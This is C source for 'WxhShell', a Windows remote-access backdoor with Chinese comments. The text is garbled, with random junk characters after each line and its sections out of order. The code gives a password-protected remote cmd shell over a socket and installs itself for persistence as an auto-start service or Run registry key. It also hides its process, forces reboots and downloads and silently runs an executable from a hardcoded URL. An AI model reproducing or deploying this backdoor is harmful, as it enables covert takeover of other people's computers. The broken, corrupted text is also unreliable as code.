    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D:yj#&I  
    else { (E.,kcAJ  
    closesocket(wsh); OE4hG xG  
    ExitThread(0); SK @%r  
    } 7@@,4_q E  
    break; l(CMP!mY  
    } wgeR%#DW  
  // 获取shell qek[p_7  
  case 's': { 4Sq[I  
    CmdShell(wsh); & 1:_+  
    closesocket(wsh); $&!i3#FF  
    ExitThread(0); :XP/`%:  
    break; M-Tjp'=*  
  } kkz{;OW  
  // 退出 e{<r<]/j  
  case 'x': { -/O_wqm#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *b@YoQe3!  
    CloseIt(wsh); YgN:$+g5  
    break; [1\k'5rp  
    } !M&Qca2  
  // 离开 .P|_C.3- l  
  case 'q': { 5/ee&sJR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yX'f"*  
    closesocket(wsh); uV@#;c4  
    WSACleanup(); mT7B#^H  
    exit(1); kX2bU$1Q,i  
    break; \:To>A32  
        } v9<'nU WVR  
  } 0E5"}8  
  } 1zDat@<H  
zP8a=Iv  
  // 提示信息 nSM8o<)H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %rmn+L),;  
} \.`;p  
  } ka^sOC+Y  
K9*vWoP'  
  return; ^4\h Z  
} c8^M::NI  
41S.&-u  
// shell模块句柄 {7%W /C#A  
int CmdShell(SOCKET sock) DLWG0$#!  
{ - DO  
STARTUPINFO si; Ob+Rnfx37  
ZeroMemory(&si,sizeof(si)); M$9?{8m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m~#f L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (2oP=9m  
PROCESS_INFORMATION ProcessInfo; +p%!G1Yz  
char cmdline[]="cmd"; ;_HG 5}i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J*nQ(*e  
  return 0; ;!ICLkc$  
} DaN=NURDV  
G=.vo3  
// 自身启动模式 /s'7[bSv  
int StartFromService(void) ) H'SU_YU  
{ $E j;CN59  
typedef struct $mV1K)ege  
{ 907N;r  
  DWORD ExitStatus; q$|Wxnz  
  DWORD PebBaseAddress; vSOO[.=  
  DWORD AffinityMask; NM`5hd{  
  DWORD BasePriority; :oYz=c  
  ULONG UniqueProcessId; h2b,(  
  ULONG InheritedFromUniqueProcessId; w=ib@_:f  
}   PROCESS_BASIC_INFORMATION; 8,0WHivg  
Ly7|:IbC  
PROCNTQSIP NtQueryInformationProcess; x e~lV  
*WHQ1geI8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V+A9.KoI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G<2OL#Y-  
S[2uez`  
  HANDLE             hProcess; &$1ifG   
  PROCESS_BASIC_INFORMATION pbi; &^v5 x"  
!R;NV|.eI6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O7M8!3Eqm  
  if(NULL == hInst ) return 0; ``zgw\f[%  
#GJ{@C3H8Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?YeUA =[MC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eWgqds&#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GQ@`qYLZ+  
j.?c~Fh  
  if (!NtQueryInformationProcess) return 0; al<;*n{/  
=02$Dwr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B=>VP-:  
  if(!hProcess) return 0; O3YD jas  
VP7g::Ab  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EDl*UG83G  
u["3| `C5  
  CloseHandle(hProcess); %`M IGi#  
wNk 0F7Ck  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0gLl>tF[H  
if(hProcess==NULL) return 0; _i/x4,=xv  
(mNNTMe  
HMODULE hMod; 0:CIM  
char procName[255]; a7]wPXKq  
unsigned long cbNeeded; nRE(Rb Re  
.qN|.:6a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yq$KYB j  
""; Bq*Y#  
  CloseHandle(hProcess); Z}8khNCYr  
1I=>0 c  
if(strstr(procName,"services")) return 1; // 以服务启动 t-gLh(-.  
yGxAur=dE  
  return 0; // 注册表启动 (R9{wGV [  
} l"{1v ~I  
u/I|<NAC,  
// 主模块 XY_zF F  
int StartWxhshell(LPSTR lpCmdLine) nQtp4  
{ 2`Ojw_$W7  
  SOCKET wsl; =ObI  
BOOL val=TRUE; 3Uy48ue  
  int port=0; 8p;|&7  
  struct sockaddr_in door; iF_#cmSy$  
U '$W$()p  
  if(wscfg.ws_autoins) Install(); HGwSsoS  
KBe\)Vs  
port=atoi(lpCmdLine); ;v*J:Mn/=  
|[ )e5Xhd  
if(port<=0) port=wscfg.ws_port; I1a>w=x!+  
'[Ue0r<jn  
  WSADATA data; Q[wTV3d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :rBPgrt  
(2SmB`g   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kL7n`o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^%qe&Pe2  
  door.sin_family = AF_INET; :pp@x*uNP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fu z'!  
  door.sin_port = htons(port); +n)_\@aQ  
fK0VFN8<I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JZo18^aD"'  
closesocket(wsl); [J{M'+a  
return 1; z AZ+'9LB  
} '1 }ybSG  
ev{;}2~V  
  if(listen(wsl,2) == INVALID_SOCKET) { k(]R;`f$W  
closesocket(wsl); mnG\qsKNLK  
return 1; BQ;F`!Hx?  
} '#oNOU  
  Wxhshell(wsl); Rs +),  
  WSACleanup(); F%]Z yO9  
 jO5,PTV  
return 0; OxC8xB;`  
<\fB+ AZ  
} ,\Q^[e!m~  
oOAn 5t@  
// 以NT服务方式启动 l9P=1TL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p9(|p Z  
{ R^ln-H;  
DWORD   status = 0;  EL$"/ptE  
  DWORD   specificError = 0xfffffff; \Zgc [F  
%$*WdK#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }3TTtd7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rP7[{'%r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }#<mK3MBe  
  serviceStatus.dwWin32ExitCode     = 0; nj (\+l5  
  serviceStatus.dwServiceSpecificExitCode = 0; C5F=J8pY  
  serviceStatus.dwCheckPoint       = 0; %aB RL6  
  serviceStatus.dwWaitHint       = 0; jY+u OH  
.,9e~6}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n | M~C\*  
  if (hServiceStatusHandle==0) return; {tDH !sX  
}t FRl  
status = GetLastError(); M}S1Zz%Ii1  
  if (status!=NO_ERROR) om1@;u8u  
{ %FhUjHm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nn?h;KzB  
    serviceStatus.dwCheckPoint       = 0; y!kU0  
    serviceStatus.dwWaitHint       = 0; e|e"lP  
    serviceStatus.dwWin32ExitCode     = status; kR !O-@GJ]  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6/=0RTd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b)(rlX  
    return; LFskNF0X  
  } $SbgdbX  
nkxv,_)ZT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "8#EA<lsS  
  serviceStatus.dwCheckPoint       = 0; F*, e,s  
  serviceStatus.dwWaitHint       = 0; |nMg.t`8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yP^C)  
} Pe,:FIp,  
O!U8"Yr$  
// 处理NT服务事件,比如:启动、停止 `:Bm@eN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7/969h^s  
{ us7t>EMmB  
switch(fdwControl) !LX)  
{ ^Mmsja5K  
case SERVICE_CONTROL_STOP: a`*Dq"9pV  
  serviceStatus.dwWin32ExitCode = 0; '~\\:37+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &*YFK/]  
  serviceStatus.dwCheckPoint   = 0; 2e<u/M21>  
  serviceStatus.dwWaitHint     = 0; y7ZYo7avg  
  { _Oc(K "v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _wp_y-"  
  } \5pBK  
  return; TZ+- >CG  
case SERVICE_CONTROL_PAUSE: =H_vRd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7@NV|Idtd  
  break; /Pyj|!C3`q  
case SERVICE_CONTROL_CONTINUE: !zZ3F|+HB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8t5o&8v  
  break; t[4V1:  
case SERVICE_CONTROL_INTERROGATE: $l=&  
  break; C)?tf[!_6  
}; g@2f& m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M->BV9  
} @9e}kiW  
ak"W/"2:  
// 标准应用程序主函数 U0ZPY )7k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !Pc&Sg  
{ Wi+}qO  
F^Y%Q(Dd7w  
// 获取操作系统版本 eq6>C7.$  
OsIsNt=GetOsVer(); VxAG= E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V]5MIiNl  
oiTSpd-  
  // 从命令行安装 A:4?Jd>  
  if(strpbrk(lpCmdLine,"iI")) Install(); xS+!/pBf"Y  
Aryp!oW  
  // 下载执行文件 WS6;ad;|  
if(wscfg.ws_downexe) { BS|$-i5L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HD YWDp  
  WinExec(wscfg.ws_filenam,SW_HIDE); $z[@DB[  
} ^5n#hSqZ=M  
%:!ILN  
if(!OsIsNt) { <;lwvO  
// 如果时win9x,隐藏进程并且设置为注册表启动 ey@{Ng#  
HideProc(); E;rS"'D:  
StartWxhshell(lpCmdLine); `V2doV)  
} HJ+ Q7)  
else -~Chf4?<4  
  if(StartFromService()) ' +f(9/  
  // 以服务方式启动 X6Q\NJ"B  
  StartServiceCtrlDispatcher(DispatchTable); H{4_,2h =m  
else QJF_ "  
  // 普通方式启动 "DC L Z  
  StartWxhshell(lpCmdLine); g-4j1yJV<  
JI[{n~bhGD  
return 0; M)"'Q6ck=  
} @gnLY  
u\q(v D.  
O~#A )d6  
HV=P! v6  
=========================================== _-|+k  
& d_2WQ}  
sH.,O9'r  
G$[Hm\V  
gx.\&W b  
Yq>K1E|  
" {_R{gpj'  
64qqJmG 3  
#include <stdio.h> q&2L@l3A  
#include <string.h> hplxs#  
#include <windows.h> gE9x+g  
#include <winsock2.h> m(w9s;<  
#include <winsvc.h> 6>gm!6`  
#include <urlmon.h> 3Dx@rW\  
- VdCj%r>  
#pragma comment (lib, "Ws2_32.lib") AfpC >>=@  
#pragma comment (lib, "urlmon.lib") NXMZTZpB7  
O$7cN\Z  
#define MAX_USER   100 // 最大客户端连接数 > zfFvx_q  
#define BUF_SOCK   200 // sock buffer 3/ '5#$  
#define KEY_BUFF   255 // 输入 buffer .sSbU^U  
jbe_r<{  
#define REBOOT     0   // 重启 ,B#*<_?E5  
#define SHUTDOWN   1   // 关机 cI'su?  
+y^'\KN  
#define DEF_PORT   5000 // 监听端口 #x6EZnG  
ct@3]  
#define REG_LEN     16   // 注册表键长度 XzBlT( `w  
#define SVC_LEN     80   // NT服务名长度 #sE: xIR  
#y f  
// 从dll定义API &ZL4/e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G2&,R{L6w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D `av9I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 30YH}b#B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ln8r~[tVE<  
]sI\.a  
// wxhshell配置信息 \c1>15  
struct WSCFG { bPIo9clq  
  int ws_port;         // 监听端口 9 ^=kt 2[  
  char ws_passstr[REG_LEN]; // 口令 QJSi|&Rx&?  
  int ws_autoins;       // 安装标记, 1=yes 0=no  K{9  
  char ws_regname[REG_LEN]; // 注册表键名 +k V$ @qH  
  char ws_svcname[REG_LEN]; // 服务名 7- |N&u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LRR)T: e}q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?CldcxM#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a4 mRu|x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q ,+29  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ; o(:}d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y?- "HK:  
uANpqT}!  
}; TQykXZ2Yb)  
'$[a-)4  
// default Wxhshell configuration n72kJ3u.  
struct WSCFG wscfg={DEF_PORT, &7 9F Uac  
    "xuhuanlingzhe", >D Ai-`e  
    1, ]GDjR'[z  
    "Wxhshell", s@p:XO  
    "Wxhshell", {I/t3.R`  
            "WxhShell Service", "jf_xZ$H-  
    "Wrsky Windows CmdShell Service", to?={@$]  
    "Please Input Your Password: ", 3 bT?4  
  1, V`rxjv}!  
  "http://www.wrsky.com/wxhshell.exe", e?N3&ezp  
  "Wxhshell.exe" Z4g<Ys*  
    }; K1w:JA6(  
L) UCVm  
// 消息定义模块 2t?Vl%<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =7EkN% V:{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )6%a9&~H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ts; ^,|h  
char *msg_ws_ext="\n\rExit."; B%5"B} nG  
char *msg_ws_end="\n\rQuit."; `~D{]'j  
char *msg_ws_boot="\n\rReboot..."; 2Z?l,M~  
char *msg_ws_poff="\n\rShutdown..."; $&Z<4:Flc  
char *msg_ws_down="\n\rSave to "; j8%Y[:~D  
nUK;M[  
char *msg_ws_err="\n\rErr!"; ?@<Tzk]a.  
char *msg_ws_ok="\n\rOK!"; *J{E1])<a  
& x$ps  
char ExeFile[MAX_PATH]; ZH`(n5  
int nUser = 0; ^O}J',Fm%f  
HANDLE handles[MAX_USER]; qC3PKlhv6  
int OsIsNt; 1k`gr&S  
1Beh&pl^  
SERVICE_STATUS       serviceStatus; )$K\:w>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v3(0Mu0J  
ZiRCiQ/?  
// 函数声明 k"6v& O  
int Install(void); |E;+j\   
int Uninstall(void); 0U !&|i\  
int DownloadFile(char *sURL, SOCKET wsh); >DN^',FEm  
int Boot(int flag); 3S1{r )[j  
void HideProc(void); t#%J=zF{  
int GetOsVer(void); `~\8fN  
int Wxhshell(SOCKET wsl); ZG? e%  
void TalkWithClient(void *cs); 5RP5%U  
int CmdShell(SOCKET sock); E,fbIyX  
int StartFromService(void); qTN30(x2  
int StartWxhshell(LPSTR lpCmdLine); E= .clA  
+:W?:\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A-*MH#QUKh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )-h{0o  
7I*rtc&Kb  
// 数据结构和表定义 o6:@j#b  
SERVICE_TABLE_ENTRY DispatchTable[] = wr~Qy4 ny  
{ [Fv_~F491  
{wscfg.ws_svcname, NTServiceMain}, deJ/3\t  
{NULL, NULL} &*oljGt8  
}; q\<NW%KtX  
[ua[A;K  
// 自我安装 V{ ~~8b1E  
int Install(void) c7R&/JV  
{ c=^69>w  
  char svExeFile[MAX_PATH]; BU7QK_zT:  
  HKEY key; h)aLq  
  strcpy(svExeFile,ExeFile); 1^ iLs  
O-box?  
// 如果是win9x系统,修改注册表设为自启动 ap,zC)[  
if(!OsIsNt) { {:KPEN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gZ-:4G|J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4G hg~0  
  RegCloseKey(key); D |fo:Xp,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vt-V'`Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eu?P6>urA  
  RegCloseKey(key); [{#n?BT  
  return 0; P.(z)!]  
    } 0DN&HMI#  
  } AS0mM HJk  
} rB|4  
else { jo<Gf 5  
%IDl+_j  
// 如果是NT以上系统,安装为系统服务 (`u+(M!^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .4[M-@4+]  
if (schSCManager!=0) ylDfr){  
{ @}uo:b:Q  
  SC_HANDLE schService = CreateService 44KWS~  
  ( j&b<YPZ  
  schSCManager, _Y$v=!fY&  
  wscfg.ws_svcname, O;T)u4Q&3  
  wscfg.ws_svcdisp, %eGD1.R  
  SERVICE_ALL_ACCESS, R/ x-$VJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i8DYC=r  
  SERVICE_AUTO_START, uax kGEXr  
  SERVICE_ERROR_NORMAL, j 20m Z  
  svExeFile, 2vddx<&  
  NULL, F!2VTPm9z  
  NULL, CK_\K,xVT  
  NULL, ldc`Y/:{  
  NULL, XhN?E-WywQ  
  NULL ,mKUCG  
  ); %o`Cp64`Q  
  if (schService!=0) #qJ6iA6{  
  { 6Q&i=!fQ  
  CloseServiceHandle(schService); =#wE*6T9  
  CloseServiceHandle(schSCManager); T+FlN-iy)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dEor+5}  
  strcat(svExeFile,wscfg.ws_svcname); \lyHQ-gWhc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,S~A]uH'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A5O;C  
  RegCloseKey(key); jO`L:D/C  
  return 0; vkW;qt}yO  
    } 'C;KNc  
  } 6 \ %#=GG  
  CloseServiceHandle(schSCManager); ZW 5FL-I  
} nE :Wl  
} =,08D^xY  
Tc|+:Usy  
return 1; %;J$ h^  
} N ]GF>kf:  
cCIs~*D  
// 自我卸载 +!G)N~o  
int Uninstall(void) qSaCl6[Do  
{ E.^u:0:P  
  HKEY key; k\ZU%"^J  
$]?M[sL\N7  
if(!OsIsNt) { W=2]!%3#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;)sC{ "Jb  
  RegDeleteValue(key,wscfg.ws_regname); 5 L-6@@/  
  RegCloseKey(key); zCu+Oi6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eEeK ] 8@  
  RegDeleteValue(key,wscfg.ws_regname); 9A}y^=!`  
  RegCloseKey(key); Xj:\B] v]  
  return 0; '%a:L^a?  
  } (D\`:1g  
} [&zSYmDk  
} *P`k|-  
else { SW HiiF@  
:;Npk9P(N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nrM-\'  
if (schSCManager!=0) 'ztY>KVj  
{ ,{Z!T5 |  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3v)`` n@  
  if (schService!=0) G@<[fO|Iam  
  { Su'l &]  
  if(DeleteService(schService)!=0) { T\Jm=+]c!  
  CloseServiceHandle(schService); Owh:(EJ"d  
  CloseServiceHandle(schSCManager); 7}tXF  
  return 0; /8P7L'Rb  
  } msw=x0{n5  
  CloseServiceHandle(schService); mH'om SCz  
  } kQrby\F(<  
  CloseServiceHandle(schSCManager); cOP%R_ak?  
} i^rHZmT  
} 5[^Rf'wy  
BIT<J5>  
return 1;  x![ut  
} f6#1sO4"  
S^~ lQ|D  
// 从指定url下载文件 4>]B8ZxH  
int DownloadFile(char *sURL, SOCKET wsh) hr g'Z5n  
{ ;Udx|1o  
  HRESULT hr; al4X}  
char seps[]= "/"; kB-<17  
char *token; m\K1Ex  
char *file; a%wa3N=v  
char myURL[MAX_PATH]; ''.\DC~K  
char myFILE[MAX_PATH]; QVD^p;b  
Wix4se1Ac  
strcpy(myURL,sURL); KU_""T  
  token=strtok(myURL,seps); tCu9 D  
  while(token!=NULL) D]K?ntS[*  
  { |1/?>=dDm  
    file=token; :A,7D(H|  
  token=strtok(NULL,seps); I&5cUj{GX-  
  } :n oZ p:a  
=Unu>p}2V  
GetCurrentDirectory(MAX_PATH,myFILE); _147d5  
strcat(myFILE, "\\"); ~8[`(/hj  
strcat(myFILE, file); j8ac8J,}c  
  send(wsh,myFILE,strlen(myFILE),0); uecjR8\e  
send(wsh,"...",3,0); Z'c9xvy5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @u8kNXT;h  
  if(hr==S_OK) %v]-:5g'|  
return 0; ' h|d-p\`9  
else =%+xNOdN7?  
return 1; L#/<y{  
,*;g+[Bhpl  
} ~&+8m=   
4TaHS!9  
// 系统电源模块 szy2"~hm  
int Boot(int flag) Kp/l2?J"  
{ {JW_ZJx  
  HANDLE hToken; \}7xgQ>oV  
  TOKEN_PRIVILEGES tkp; >+*lG>!z  
w-``kID  
  if(OsIsNt) { Oi~.z@@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !Ee&e~"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~gOdK-SV*  
    tkp.PrivilegeCount = 1; 7:OF>**  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }9L;|ul6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jft@ 'W53  
if(flag==REBOOT) { Q7?[@2HN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -M`+hVs?  
  return 0; }M9I]\  
} (vbI4&r  
else { Dfd%Z;Yu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4I;$a;R!  
  return 0; u:\DqdlU`  
} {uiL91j.  
  } v79\(BX  
  else { V"|j Dnn5  
if(flag==REBOOT) { v$R7"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mB*;>   
  return 0; d?=r:TBU  
} D(M^%z2N  
else { QeD ;GzG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]U5/!e  
  return 0; qApf\o3[0  
} Oa7jLz'i  
} uq@_DPA7  
HQrx9CXE  
return 1; 7]8apei|  
} (EOYJHZB!  
Gv 6#LcF#  
// win9x进程隐藏模块 k)S'@>n{u  
void HideProc(void) }zHG]k,j  
{ {OW.^UIq^  
BE," lX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ef -PlGn  
  if ( hKernel != NULL ) qjLFgsd  
  { Ert` ]s~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DgC;1U'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W/<C$T4  
    FreeLibrary(hKernel); 93y!x}  
  } lhJZPnx~  
&y:SK)  
return; +rOd0?  
} {8J+ Y}  
,+E"s3NW  
// 获取操作系统版本 -2*Pm1\Z  
int GetOsVer(void) qbQH1<yS<  
{ (hIy31Pf  
  OSVERSIONINFO winfo; 'E1m-kJz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a &tl@y1  
  GetVersionEx(&winfo); -l q,~`v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {us"=JJVN  
  return 1; lNqF@eCT9  
  else CWM_J9f  
  return 0; 7bx!A+, t  
} %x|0<@b7-  
UoKXo*W2  
// 客户端句柄模块 Wj31mV  
int Wxhshell(SOCKET wsl) _9"%;:t  
{ $oH?7sj  
  SOCKET wsh; of?'FrU  
  struct sockaddr_in client; X?q,m4+  
  DWORD myID; O4Hc"v  
NEX{vZkgw  
  while(nUser<MAX_USER) #Ue_  
{ ]jwF[D  
  int nSize=sizeof(client); UU]a).rz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +[$ Q C*  
  if(wsh==INVALID_SOCKET) return 1; nL&[R}@W  
wm_o(Z}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dzyp:\&9  
if(handles[nUser]==0) %PxJnMb?  
  closesocket(wsh); @wOX</_g  
else CqbPUcK  
  nUser++; OqA#4h4^  
  } OG}m+K&<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WY" `wM  
+umVl  
  return 0; Ce_E S.  
} B&c*KaK;~  
44(l1xEN+  
// 关闭 socket *9xv0hRQ%?  
void CloseIt(SOCKET wsh) j_HwR9^fd,  
{ 8K0@*0  
closesocket(wsh); 5$L=l  
nUser--; W&8)yog.  
ExitThread(0); cAc>p-y%  
} <46fk*  
tu0agSpU  
// 客户端请求句柄 $&[}+??  
void TalkWithClient(void *cs) ,xsFBNCC  
{ )%]`uj>*[  
 w#\*{EN  
  SOCKET wsh=(SOCKET)cs; uj9IK  
  char pwd[SVC_LEN]; u}I\!-EX!v  
  char cmd[KEY_BUFF]; or]kXefG3  
char chr[1]; \-~TW4dYe  
int i,j; Uk|(VR9  
nRlvW{p;  
  while (nUser < MAX_USER) { zeG_H}[2&  
D "9Hv3  
if(wscfg.ws_passstr) { gl~>MasV&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .l(t\BfE~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {%Q &CQG_  
  //ZeroMemory(pwd,KEY_BUFF); ;UG]ckV-  
      i=0; 0x]W W|se*  
  while(i<SVC_LEN) { 3,RaM^5dV  
Erd)P  
  // 设置超时 |] 8Hh>  
  fd_set FdRead; Y1Qg|U o  
  struct timeval TimeOut; _0(Bx?[h  
  FD_ZERO(&FdRead); Pf?y!d K<  
  FD_SET(wsh,&FdRead); rkz_h  
  TimeOut.tv_sec=8; V[T`I a\  
  TimeOut.tv_usec=0; Auz.wes  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p?,:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R#UcwX}o  
fd} U l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |T@\ -8Ok  
  pwd=chr[0]; (:2,Rr1"  
  if(chr[0]==0xd || chr[0]==0xa) { `cBV+00YS  
  pwd=0; m?Qr)F_M  
  break; 3>t^Xu~  
  } ME%W,B.|"s  
  i++; jk'.Gz  
    } :;(zA_-  
T,eP&IN  
  // 如果是非法用户,关闭 socket x O~t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4#^?-6  
} \E3e vU  
W{!GL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sHSD`mYq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LCMCpEtY*K  
3A(sT}  
while(1) { #A '|O\RGP  
Q(\U'|%J  
  ZeroMemory(cmd,KEY_BUFF); !$i*u-%4  
&58+-jzW  
      // 自动支持客户端 telnet标准   z]Dbca1a`  
  j=0; F qW[L>M'  
  while(j<KEY_BUFF) { vS{zLXg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?-`G0(  
  cmd[j]=chr[0]; 5 UQbd8  
  if(chr[0]==0xa || chr[0]==0xd) { xF4>D!T%8  
  cmd[j]=0; tgPx!5U  
  break; Y]SX2kk(2  
  } ~Yw`w 2  
  j++; ZFAi9M  
    } ,@1.&!F4it  
X<<hb  
  // 下载文件 D< h+r?  
  if(strstr(cmd,"http://")) { `Y~EL?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <[e E5X(  
  if(DownloadFile(cmd,wsh)) oS/cS)N20  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N=QeeAI}}m  
  else l12_&o"C~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9$u'2TV  
  } D/ SM/  
  else { D~i m1h;>  
{{WA=\N8C  
    switch(cmd[0]) { (A\p5@ht  
  xA-u%Vf7@  
